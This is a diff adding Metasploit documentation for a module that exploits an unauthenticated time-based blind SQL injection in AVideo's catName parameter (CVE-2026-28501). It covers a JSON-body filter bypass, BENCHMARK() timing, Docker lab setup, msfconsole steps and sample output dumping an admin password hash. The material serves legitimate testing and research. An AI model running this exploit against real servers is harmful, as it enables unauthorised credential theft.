|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits an unauthenticated SQL injection vulnerability in AVideo's |
| 4 | +`videos.json.php` endpoint to extract user credentials (usernames and password hashes). |
| 5 | + |
| 6 | +**CVE ID:** CVE-2026-28501 |
| 7 | + |
| 8 | +**Affected Versions:** AVideo <= 22.0. Fixed in 24.0. |
| 9 | + |
| 10 | +### Vulnerability Overview |
| 11 | + |
| 12 | +The `catName` parameter is injected unsanitized into SQL queries via the `getCatSQL()` function. |
| 13 | +A global security filter in `security.php` strips quotes from GET/POST parameters, but sending |
| 14 | +`catName` via a JSON request body bypasses this filter because the JSON input is parsed and |
| 15 | +merged into `$_REQUEST` after the security checks have already executed. |
| 16 | + |
| 17 | +The module uses time-based blind SQL injection with `BENCHMARK()` to extract data. |
| 18 | +`SLEEP()` cannot be used because the application's `sqlDAL` layer uses prepared statements |
| 19 | +that prevent it, but `BENCHMARK()` works via a multiplication pattern that embeds the boolean |
| 20 | +condition as a multiplier on the iteration count. |
| 21 | + |
| 22 | +### Setup |
| 23 | + |
| 24 | +This lab reuses the same AVideo Docker environment as the `avideo_encoder_getimage_cmd_injection` |
| 25 | +module. |
| 26 | + |
| 27 | +1. Clone the AVideo repository and checkout the vulnerable commit: |
| 28 | + |
| 29 | +```bash |
| 30 | +cd /tmp |
| 31 | +git clone https://github.com/WWBN/AVideo.git |
| 32 | +cd AVideo |
| 33 | +git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4 |
| 34 | +``` |
| 35 | + |
| 36 | +2. Create a `.env` file with the following configuration: |
| 37 | + |
| 38 | +```bash |
| 39 | +cat > .env << EOF |
| 40 | +SERVER_NAME=localhost |
| 41 | +CREATE_TLS_CERTIFICATE=yes |
| 42 | +DB_MYSQL_HOST=database |
| 43 | +DB_MYSQL_PORT=3306 |
| 44 | +DB_MYSQL_NAME=avideo |
| 45 | +DB_MYSQL_USER=avideo |
| 46 | +DB_MYSQL_PASSWORD=avideo |
| 47 | +HTTP_PORT=80 |
| 48 | +HTTPS_PORT=9443 |
| 49 | +NETWORK_SUBNET=172.99.0.0/16 |
| 50 | +EOF |
| 51 | +``` |
| 52 | + |
| 53 | +3. Fix MariaDB corrupted tc.log issue (required for first-time setup): |
| 54 | + |
| 55 | +```bash |
| 56 | +cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF' |
| 57 | +#!/bin/bash |
| 58 | +set -e |
| 59 | +
|
| 60 | +if [ -f /var/lib/mysql/tc.log ]; then |
| 61 | + MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "") |
| 62 | + if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then |
| 63 | + echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)" |
| 64 | + rm -f /var/lib/mysql/tc.log |
| 65 | + fi |
| 66 | +fi |
| 67 | +SCRIPTEOF |
| 68 | +chmod +x deploy/docker-entrypoint-mariadb |
| 69 | + |
| 70 | +cat >> Dockerfile.mariadb << 'DOCKERFILEEOF' |
| 71 | +
|
| 72 | +COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb |
| 73 | +RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb |
| 74 | +RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh |
| 75 | +DOCKERFILEEOF |
| 76 | + |
| 77 | +docker compose build database database_encoder |
| 78 | +``` |
| 79 | + |
| 80 | +4. Start the Docker Compose environment: |
| 81 | + |
| 82 | +```bash |
| 83 | +docker compose up -d |
| 84 | +``` |
| 85 | + |
| 86 | +5. Wait for the services to be ready and access the application at `http://localhost`. |
| 87 | + Complete the installation wizard if this is a first-time setup. |
| 88 | + |
| 89 | +## Verification Steps |
| 90 | + |
| 91 | +1. Start `msfconsole` |
| 92 | +2. `use auxiliary/gather/avideo_catname_sqli` |
| 93 | +3. `set RHOSTS <target_ip>` |
| 94 | +4. `set RPORT <target_port>` (default: 80) |
| 95 | +5. `run` |
| 96 | +6. **Verify** that user credentials are extracted and displayed |
| 97 | + |
| 98 | +## Options |
| 99 | + |
| 100 | +### COUNT |
| 101 | + |
| 102 | +Number of users to dump. Default: 0 (all users). |
| 103 | + |
| 104 | +### SqliDelay |
| 105 | + |
| 106 | +Time delay threshold for blind injection (default: 1.0 second). Lower values are faster |
| 107 | +but may produce false positives on slow networks. |
| 108 | + |
| 109 | +## Scenarios |
| 110 | + |
| 111 | +### Credential dump against AVideo <= 22.0 |
| 112 | + |
| 113 | +``` |
| 114 | +msf > use auxiliary/gather/avideo_catname_sqli |
| 115 | +msf auxiliary(gather/avideo_catname_sqli) > set RHOSTS localhost |
| 116 | +RHOSTS => localhost |
| 117 | +msf auxiliary(gather/avideo_catname_sqli) > set RPORT 80 |
| 118 | +RPORT => 80 |
| 119 | +msf auxiliary(gather/avideo_catname_sqli) > set COUNT 1 |
| 120 | +COUNT => 1 |
| 121 | +msf auxiliary(gather/avideo_catname_sqli) > run |
| 122 | +[*] Running module against 127.0.0.1 |
| 123 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 124 | +[*] {SQLi} Calibrating BENCHMARK iterations for 1.0s delay... |
| 125 | +[*] {SQLi} Probe: 1000000 iterations took 0.127s |
| 126 | +[*] {SQLi} Calibrated: 23622047 iterations for ~1.0s delay |
| 127 | +[+] The target is vulnerable. Time-based blind SQLi confirmed via BENCHMARK() |
| 128 | +[*] Dumping user credentials from the users table... |
| 129 | +[!] Time-based blind extraction is slow (~4s per character). Be patient. |
| 130 | +[*] {SQLi} [char 1/38] = "a" |
| 131 | +[*] {SQLi} [char 2/38] = "d" |
| 132 | +[*] {SQLi} [char 3/38] = "m" |
| 133 | +[*] {SQLi} [char 4/38] = "i" |
| 134 | +[*] {SQLi} [char 5/38] = "n" |
| 135 | +[*] {SQLi} [char 6/38] = ";" |
| 136 | +[*] {SQLi} [char 7/38] = "5" |
| 137 | +... |
| 138 | +[*] {SQLi} [char 38/38] = "9" |
| 139 | +AVideo Users |
| 140 | +============ |
| 141 | +
|
| 142 | + user password |
| 143 | + ---- -------- |
| 144 | + admin 5f4dcc3b5aa765d61d8327deb882cf99 |
| 145 | +
|
| 146 | +[+] Loot saved to: /home/user/.msf4/loot/20260306_default_127.0.0.1_avideo.users_123456.txt |
| 147 | +[*] Auxiliary module execution completed |
| 148 | +``` |
0 commit comments